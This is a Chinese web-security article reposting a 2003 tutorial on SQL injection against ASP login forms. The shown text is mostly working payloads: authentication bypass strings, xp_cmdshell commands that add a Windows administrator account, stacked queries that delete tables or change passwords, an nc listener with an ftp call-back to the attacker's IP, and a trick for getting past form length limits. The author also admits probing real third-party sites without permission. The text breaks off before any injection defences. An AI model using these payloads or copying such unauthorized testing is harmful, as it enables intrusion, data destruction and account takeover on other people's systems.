频道栏目
首页 > 资讯 > 网站安全 > 正文

浅谈sql注入式(SQL injection)攻击与防范

04-10-17        来源:[db:作者]  
收藏   我要投稿

作者:阿酷   来自:酷客天堂

阿酷:应网友要求,把03年写的一篇sql注入教程发布出来,其中关于注入的部分,现在已经谈得滥了,就不必看了,文中的其它技巧及防护办法,倒是值得看看。
====================================================================================================
    我没有系统的学习过asp或者php编程,也没有系统的学习过access、sqlserver、mysql等数据库,所以我不是一个程序员,虽然经常干一些类似程序员的事情。
    因为要建立自己的站点,3次改版下来,多少也写了几千行程序,加上对一些论坛、留言板、文章发布系统的测试,也发现了一些问题,现在与大家探讨。
    在写这篇文章的时候,我除了在本机建立asp+access、asp+sql server测试环境,还在××安全网站、××市人才网、××网络公司的网站上进行了部分测试,在此谨表示歉意!我是选择在凌晨2点~3点开始的测试,而且仅限于检索操作,所以可以肯定的说对贵站几乎没有什么影响,用1个小时流量略多换取我给你们的安全报告,我想不会太亏吧,呵呵!
    1、bak文件泄漏asp源代码
    很多编辑工具,如Editplus、UltraEdit,默认情况下在保存文件的时候,都会自动备份一个.bak文件。如创建或者编辑config.asp文件,则编辑器会自动生成一个config.asp.bak文件,如果没有删除该文件,攻击者可以通过http://www.***.com/config.asp.bak来下载asp源程序。
    可以想象,你的源程序被下载,被攻击的风险无疑大了很多。而如果是配置文件,呵呵,用户名、密码、数据库名称/位置……
    解决办法:要么就直接关闭编辑器的自动备份功能,要么在上传的时候,删除所有.bak文件。
    2、身份验证被绕过
    一般网站有很多页面是需要身份验证通过以后才能访问的,而在这些页面需要对用户身份再次进行验证,但是很多程序员往往忽略了这一点。如果攻击者知道了这些页面的路径和文件名,就可以绕过身份验证,直接进入到该页面。如:需要用户通过login.asp页面登陆,经过身份验证才能打开manage.asp页面。攻击者可以通过http://www.***.com/manage.asp直接进入管理界面。
    解决办法:在这些的页面开头进行身份确认。如:在身份验证通过以后传递一个session("login")="ok",在manage.asp开头加入
以下内容为程序代码:

if session("login")<>"ok" then
   response.redirect "login.asp"
end if
 

    上面2点说的都是编程的基础问题,下面就来讨论本文的重点,关于sql注入式攻击与防范。
    3、asp程序数据库密码验证漏洞
    首先,关于request对象,我们知道,如果在form表单中使用get方法传递数据时,应该用QueryString集合来检索表单数据;而使用post方法传递数据时,应该用Form集合来检索表单数据。而更多的程序员为了方便,直接省略集合名称,使用request("data")来检索数据,看似简单,实际上效率很低,而且容易出错。asp默认搜索集合的顺序是QueryString、Form、Cookie、Serverariable,当发现第一个匹配的变量时,就认定是你要访问的成员。所以建议大家不要采用这种方法,题外话说完,我们转入正题。
    先来看login.asp文件
以下内容为程序代码:

……
<form action="verify.asp" method="post" name="login">
  用户名<input type=text name=name value="" maxlength="20">
  密码<input type=password name=pwd value="" maxlength="20">
  <input type=submit name=bt value="确认">
  <input type=reset name=bt value="重置">
</form>
……
 

   再来看verify.asp文件
以下内容为程序代码:

……
dim rs,sql
dim name,pwd
name=request.form("name")
pwd=request.form("pwd")

if name="" or pwd="" then
   response.redirect "login.asp"
end if
……
关于身份验证
sql="select * from user where name="&name&" and pwd="&pwd&""
……
 

    不要以为没有人会这样写,我见过很多很多,如果你相信我:),看看攻击者能做什么:
    (1)我们在用户名位置输入【admin or 1=1】,在密码区输入【11】。注:内容只有【】内的。看看sql会变成什么:
以下内容为程序代码:

sql=select * from user where name=admin or 1=1 and pwd=11

    我们知道,or是一个逻辑运算符,在判断多个条件的时候,只要有一个成立,则等式就返回真,后面的and就不再进行判断了,也就是说我们绕过了密码验证,只要我们知道用户名就可以登陆该系统。
    (2)我们也可以在用户名位置输入【admin --】,在密码区输入【11】。再看看sql:
以下内容为程序代码:

sql=select * from user where name=admin -- and pasword=11

    同样,通过连接符--注释掉了后面的密码验证,对access数据库无效。
    (3)如果可以通过连接符注释掉后面的验证,那么就更有意思了,来看我们能作什么:
    a、在用户名位置输入【admin;exec master.dbo.sp_addlogin Cool;--】,添加一个sql用户
    b、在用户名位置输入【admin;exec master.dbo.sp_password null,123456,Cool;--】,给Cool设置密码为123456
    c、在用户名位置输入【admin;exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,给Cool赋予System Administrator权限
    d、在用户名位置输入【admin;exec master.dbo.xp_cmdshell net user Cool 123456 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- 】,给系统添加一个密码为123456的帐户Cool,并设置相关属性,关于net user命令可以参考这里。
    e、在用户名位置输入【admin;exec master.dbo.xp_cmdshell net localgroup administrators Cool /add;--】,把cool用户添加到管理员组。
    现在觉得恐怖了没有,当然我还没说完,实现这些必须是该站点使用sa或者system administrator权限的用户来连接数据库,普通的的虚拟空间是不用想了,除非管理员是SB。但是对于那些站点放在自己服务器上的网站,很难说哦,真的很难说,呵呵,我见过N个。
    那如果不是sa,是不是就什么也不能做了,当然不是!只是不能获得太高权限来控制sql库和系统了,但是对这个库,我们还是拥有完整的管理权限。来看看我们能作什么:
    a、输入【admin;delete user;--】,一旦他的表名就是user,就会删除user表里所有记录。够狠吧!你可千万别这么做哦!
    b、输入【admin;insert into user (name,pwd) values (cool,123456);--】,可以给user表添加一个用户,当然前提是表名和字段名都要正确。
    c、输入【admin;update news set pwd=123456 where name=admin;--】,可以修改admin的密码,当然前提也是表名和字段名都要正确。
    更多的攻击内容,你可以参考sql语法。
    看来如果不是sa还是比较郁闷的,当然,我们也有一些简单的方法来判断网站是否使用sa来连接数据库。
    a、在cmd中执行nc -l -p 21,监听本机的21端口;当然也可以采用火墙什么的。
    b、输入【admin;exec master.dbo.xp_cmdshell ftp *.*.*.*】,其中*代表你的ip地址,如果发现有连接,就可以断定是使用sa了,而且可以获得网站数据库的ip地址,因为有些网站web和sql是放在不同服务器上的;如果没有连接,则网站使用的是非sa帐户。
    可能有的朋友已经看出来了,如果网站使用的是sa,我们可以通过页面从内部发起连接,可以构造ftp脚本,也可以使用tftp来上传文件,即使有火墙也是枉然。
    也许有的朋友会说,人家在表单里已经这里了最大长度是20,你跟本就输入不了那么多!没事,难不倒我们。
    方法一:
    a、打开网站页面http:\www.***.comlogin.asp,查看源文件,把提交表单部分
以下内容为程序代码:

<form action="verify.asp" method="post" name="login">
  用户名<input type=text name=name value="" maxlength="20">
  密码<input type=password name=pwd value="" maxlength="20">
  <input type=submit name=bt value="确认">
  <input type=reset name=bt value="重置">
</form>

    拷贝出来,存到本机login.htm
    b、修改action为http:\www.***.comverify.asp,即:
以下内容为程序代码:

<form action="http:\www.***.comverify.asp" method="post" name="login">
  用户名<input type=text name=name value="" maxlength="20">
  密码<input type=password name=pwd value="" maxlength="20">
  <in

相关TAG标签
上一篇:手动更改SQL Server 2000服务账号口令
下一篇:SQL注入天书 - ASP注入漏洞全接触
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站